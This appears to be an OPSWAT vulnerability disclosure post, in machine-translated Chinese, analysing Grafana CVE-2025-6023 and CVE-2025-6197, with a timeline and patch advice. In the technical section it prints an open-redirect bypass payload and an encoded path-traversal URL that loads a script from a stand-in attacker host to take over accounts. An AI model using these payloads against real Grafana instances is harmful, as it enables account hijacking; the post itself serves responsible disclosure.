AI 驅動的網路攻擊:如何偵測、預防及抵禦智慧型威脅

立即閱讀
我們利用人工智慧進行網站翻譯,雖然我們力求準確性,但它們可能並不總是 100% 精確。感謝您的理解。

Grafana CVE-2025-6023:515 單元發現不完整的修復,導致完整帳號接管

by OPSWAT 發布
分享此文章

Grafana 是用於資料可視化、分析和監控的領先開源平台,可讓使用者透過聚合來自多個來源的資料來建立互動式儀表板。Grafana 在 GitHub 上擁有超過 68,000 顆星星,並透過 Docker Hub 和其他儲存庫獲得數百萬次下載,已成為各產業現代監控堆疊的重要元件。

Grafana 在基礎結構監控中的廣泛採用與關鍵角色,使其成為威脅者的首要攻擊目標。要保護企業監控環境的完整性與可用性,就必須確保其安全性。

在OPSWAT,我們透過研究並負責任地揭露廣泛使用的平台 (例如 Grafana) 的漏洞,積極為安全社群做出貢獻。在 2021 年,來自OPSWAT Unit 515的成員TheBlackTurtle 發現並負責任地揭露了 CVE-2021-39226 這個重要漏洞

除了這些貢獻之外,OPSWAT 也透過實際的訓練計畫,培育下一代的網路安全人才。OPSWAT Critical Infrastructure Cybersecurity Graduate Fellowship Program 便是其中一項計畫,該計畫提供學生識別及分析真實世界安全威脅的實務經驗。作為該計畫的一部分,我們的一位研究員在獨立研究專案中發現了 Grafana 中的新關鍵漏洞CVE-2025-6023

OPSWAT 研究員計畫與關鍵弱點發現

OPSWAT 關鍵基礎設施網路安全研究生獎學金計畫以越南為基地,提供研究生保護關鍵基礎設施的實務經驗。研究員積極與OPSWAT 網路安全專家合作,解決惡意軟體偵測、檔案安全與威脅預防等現實世界的挑戰。

作為這項嚴格計畫的一部分,參與者在OPSWAT 專家的指導下,有系統地研究、複製和分析各種軟體產品、程式庫和作業系統中的已知漏洞 (CVE)。Hoa X. Nguyen 是我們傑出的研究員之一,他選擇 Grafana 作為其主要研究專案的重點。

2025 年 6 月,Hoa X. Nguyen在深入檢閱 CVE-2025-4123 以及深入分析 Grafana 原始碼的過程中,發現了該平台中一個先前未知的漏洞。該問題涉及將開放式重定向漏洞與用戶端路徑遍歷 (CSPT) 漏洞串連起來,最終導致跨站腳本攻擊 (XSS) 以及透過 Grafana 的不同端點完全接管帳戶。

在與Unit 515 緊密合作時,我們發現不只一個,而是兩個獨立的攻擊鏈,每個攻擊鏈都可能導致帳戶完全外洩。

OPSWAT 繼續積極貢獻,負責任地向 Grafana 報告漏洞。這些問題迅速獲得確認,並在後續版本中發佈修補程式。這些漏洞後來被指定為 CVE-2025-6023 和 CVE-2025-6197,並自此公開列入國家漏洞資料庫 (NVD)。

CVE-2025-6023 & CVE-2025-6197 時程表

  • 2025 年 6 月 11 日:Hoa X. Nguyen在 Grafana 最新版本中發現漏洞,並向 Grafana 提交安全報告。
  • 2025 年 6 月 11 日:經討論後,Grafana 確認此漏洞,並指定 CVE-2025-6023 為高度嚴重性。
  • 2025 年 6 月 17 日:來自 515 單位的Dat Phung與 Hoa X. Nguyen 密切合作,發現了另一個利用漏洞的攻擊鏈。
  • 2025 年 6 月 17 日:Grafana 確認第二個漏洞,並指定 CVE-2025-6197 為中等嚴重性。
  • 2025 年 7 月 17 日Grafana 發佈 12.0.2+security-01、11.6.3+security-01、11.5.6+security-01、11.4.6+security-01 及 11.3.8+security-01,推出增強修補程式,有效解決這些漏洞。
  • 2025 年 7 月 18 日:國家漏洞資料庫(NVD)正式揭露 CVE-2025-6023 和 CVE-2025-6197。

不完整修補程式與 CVE-2025-6023 的技術分析

2025 年 5 月,Alvaro Balada 揭露了 CVE-2025-4123 這個 Grafana 的高嚴重性漏洞。此漏洞結合了用戶端路徑遍歷與開放重定向,允許攻擊者傳送惡意的前端外掛程式,在 Grafana 的信任情境中執行任意 JavaScript - 導致帳戶完全被接管。在啟用匿名存取的情況下,不需要驗證。此外,如果安裝了Grafana Image Renderer 外掛程式,攻擊者可將漏洞升級至SSRF,暴露內部服務或雲端元資料。

Grafana 在2025 年 5 月透過安全更新解決了這個問題,在版本12.0.0+security01、11.6.1+security01 以及其他 10.x-11.x 分支中推出修補程式。修補程式包括內容安全政策 (CSP)強化和更嚴格的重定向篩選。

作為OPSWAT 關鍵基礎設施網路安全研究生獎學金計畫的一部分,Hoa X. Nguyen 對 CVE-2025-4123 進行了全面分析。他的研究包括逆向工程利用流程和評估所提供修補程式的有效性。在調查過程中,Hoa 觀察到儘管該漏洞基本上是開放重定向與客戶端路徑遍歷的組合,但 CVE-2025-4123 的修補程式僅在staticHandler 中透過在 commit{ff20b06} 中引入的資料淨化檢查解決了開放重定向的問題。

然而,此部分緩解措施仍未解決核心攻擊媒介的問題。潛在的風險仍然存在:如果攻擊者能找出易受開放重定向攻擊的替代端點,即使在修補程式之後,相同的攻擊鏈仍可能存在,並可用於執行完整的帳戶接管。考慮到這個假設,Hoa 對 Grafana 程式碼庫進行了更深入的原始碼檢閱。透過這項努力,他成功找出另一個易受攻擊的端點:/user/auth-tokens/rotate

這個端點是用來重新產生過期的驗證標記。查詢參數redirectTo用於在成功更新認證標記後,將使用者導航到目的地頁面。

在典型的實作中,重定向 URL 是由Cfg.AppSubURL設定值與使用者提供的redirectTo參數串接而成。但是,在 Grafana 的預設設定中,AppSubURL未定義。因此,在形成重定向路徑時,應用程式僅依賴redirectTo的原始值。

Therefore, when an authenticated user accesses the /user/auth-tokens/rotate?redirectTo=<value> endpoint, the server responds with a 302 Redirect and includes a Location: <value> header.

對於這種重定向機制,Grafana 嘗試透過稱為ValidateRedirectTo 的驗證函式降低與使用者提供的輸入相關的安全風險,該函式的目的是透過禁止路徑開頭的雙斜線來阻擋不安全的重定向目標 - 例如以//example.com開頭的重定向目標:

然而,正如Alvaro Balada 的原始研究中所展示的,使用前斜線後接反斜線 (例如/\example.com),可以繞過此功能,現代瀏覽器對此的解釋與//example.com 相似。因此,假設使用者已通過認證,下列有效負載可用於達成開放重定向:

/user/auth-tokens/rotate?redirectTo=/\example.com

Hoa X. Nguyen 的這項發現,加上CVE-2025-4123未完成的修復工作,顯示完整的 Grafana 帳號接管仍然是可能的。

發現這個旁路後,OPSWAT 立即將問題報告給 Grafana 開發團隊。作為回應,Grafana 已經透過內部討論確認先前的緩解措施不完整,並已計劃在我們提出報告之前,在即將發行的版本中解決此問題。結果,我們的報告被接受,並針對揭露的開放重定向漏洞指派新的 CVE,並將其列為中等嚴重程度

CVE-2025-6023:可完全接管帳戶的新攻擊鏈

CVE-2025-4123 原本強調 Grafana 前端外掛應用程式中的用戶端路徑遍歷 (CSPT) 漏洞。在最初的報告中,Hoa X. Nguyen 將這個已知的 CSPT 問題與新發現的開放重定向漏洞結合,製造出一個有效的攻擊鏈。儘管這個漏洞展示了嚴重的影響,但卻只被指定為中度嚴重性,因為 Grafana 在 CSPT 揭露之前就已經內部承認修補程式的不完整性。

這促使我們深入調查 Grafana 程式碼庫中是否存在其他 CSPT 漏洞,當這些漏洞與新發現的開放重定向漏洞結合時,可能會產生完全獨立的攻擊鏈。如果在不同的端點上發現這樣的 CSPT 漏洞,就有理由指定與 CVE-2025-4123 相同的高度嚴重性等級。

發現新的漏洞Endpoint

在這個假設的推動下,Hoa 對 Grafana 的原始碼進行了深入的檢閱。在分析過程中,他發現了一個額外的脆弱端點,允許動態擷取和執行任意來源的腳本 - 沒有適當的輸入驗證或淨化。此不安全行為與 Grafana 的儀表板腳本功能有關,特別是透過下列路徑管理: 

/dashboard/:type/:slug 

此路由由負責處理儀表板指令碼的中介軟體處理。具體來說,:slug參數被用來動態載入和執行指令碼 - 沒有適當的淨化 - 因此允許攻擊者製作惡意 URL,並可能重新製造類似 CVE-2025-4123 的攻擊鏈。 

儀表板腳本機制分析

Grafana 的儀表板腳本機制利用DashboardPageProxy元件來處理對應於路由/dashboard/:type/:slug 的要求:

圖 1.儀表板腳本機制

DashboardPageProxy 中,執行流程如下:

圖 2.DashboardPageProxy 流量

DashboardPageProxy傳回的結果來自stateManager.fetchDashboard()方法的執行,該方法接受從 URL 路徑擷取的uidtypeslug參數。為了分析這個回應是如何建構的,Hoa X.Nguyen 檢查了stateManager物件及其fetchDashboard()方法中的邏輯。stateManager透過getDashboardScenePageStateManager()函式實體化,該函式定義在以下檔案中:

/public/app/features/dashboard-scene/pages/DashboardScenePageStateManager.ts

圖 3. getDashboardScenePageStateManager

由於stateManager是在沒有任何參數的情況下,透過呼叫getDashboardScenePageStateManager()函式來初始化的,如圖 2 所示,因此可以斷定返回的物件是UnifiedDashboardScenePageStateManager類的實體。

因此,為了瞭解fetchDashboard() 方法的行為,他開始分析其在UnifiedDashboardScenePageStateManager類別中的實作:

圖 4.UnifiedDashboardScenePageStateManager 類別

UnifiedDashboardScenePageStateManager類別中,fetchDashboard() 方法首先會呼叫withVersionHandling()函式。這個函式負責判定並傳回activeManager的實例。一旦activeManager 建構完成,就會在該實體上呼叫相應的fetchDashboard()方法,並傳入相關的選項參數。

activeManager範例是DashboardScenePageStateManagerDashboardScenePageStateManagerV2物件。這兩個類別都實作類似的擷取儀表板資料的邏輯。以下程式碼取自DashboardScenePageStateManager類別:

DashboardScenePageStateManager類的fetchDashboard ()方法中,會使用切換語句來根據路由類型決定適當的處理邏輯。在預設情況下,該方法會呼叫

dashboardLoaderSrv.loadDashboard(type, slug, uid, query)

此呼叫會啟動載入要求的儀表板的程序。loadDashboard()函式的參考實作可在下列檔案中找到:

/public/app/features/dashboard/services/DashboardLoad

loadDashboard() 函式中,會執行幾個條件檢查,以決定適當的處理流程。在類型設為「script」且存在slug的特定情況下,函式會啟用:

this.loadScriptedDashboard(slug)

在此,slug(直接來自使用者輸入)被傳送為loadScriptedDashboard() 方法的參數。為了評估此呼叫的執行流程和可能引發的漏洞,Hoa 繼續分析DashboardLoaderSrvBase類別中loadScriptedDashboard ()的實作:

loadScriptedDashboard() 方法中,slug 參數(如圖 2 所示)被視為檔名(字串),並用於建構 變數。變數。但是,此參數未經適當的淨化。該實作套用正規表達式,以正斜線 (/) 取代所有點 (.) 字元,但緊接在"js" 之後的字元除外。此部分過濾未能正確地對輸入進行消毒,使其容易受到路徑操控和遍歷攻擊。

URL 建構完成後,腳本會嘗試呼叫getBackendSrv().get(url),以載入指定的儀表板擷取的指令碼會使用this.executeScript(code) 執行

這項分析最終導致 Hoa X. Nguyen 在最新版的 Grafana 中發現新的用戶端路徑遍歷 (CSPT) 漏洞。由於缺乏輸入 sanitization 或驗證,攻擊者可以操控slug來製作 URL,載入並執行來自外部來源的惡意指令碼 - 複製先前在 CVE-2025-4123 中透過儀表板指令碼載入所發現的核心問題。

當這個問題與新發現的開放重定向漏洞結合時,就能形成完整的攻擊鏈,達到完全接管帳戶的目的。展示此漏洞的範例有效載荷如下:

/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5c<attacker-site><encoded_path>

例如:

/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5cattacker.com%2fpath%2fto%2fmalicious.js

惡意的.js檔案可以被製作成將受害者的電子郵件位址和使用者名稱變更為攻擊者所控制的位址和使用者名稱。這將允許攻擊者向自己的電子郵件地址啟動密碼重設程序,最終導致帳戶被完全接管:

CVE-2025-6023 的概念驗證

本視訊展示 CVE-2025-6023 的實際影響,示範由OPSWAT 的 Hoa X. Nguyen 發現的影響 Grafana 使用者的完整帳號接管情境:

緩解與指導

為了減緩我們上面討論的漏洞,請確保您的系統已更新至最新版本的 Grafana。

使用 SBOM 引擎的MetaDefender Core 可偵測此漏洞

OPSWAT MetaDefender Core配備先進的SBOMSoftware 物料清單)功能,可讓組織採取主動的方式來處理安全風險。透過掃描軟體應用程式及其相依性,MetaDefender Core 可辨識列出元件中的已知漏洞,例如 CVE-2025-6023 和 CVE-2025-6197。這有助於開發和安全團隊優先進行修補工作,在惡意行為者利用這些漏洞之前減輕潛在的安全風險。

以下是MetaDefender Core 使用 SBOM 檢測到的 CVE-2025-6023 和 CVE-2025-6197 的截圖:

此外,CVE 也可以透過 MetaDefender Software Supply Chain,利用MetaDefender Core 與 SBOM 識別這些漏洞。

標籤:

隨時瞭解OPSWAT 的最新資訊!

立即註冊,即可收到公司的最新消息、 故事、活動資訊等。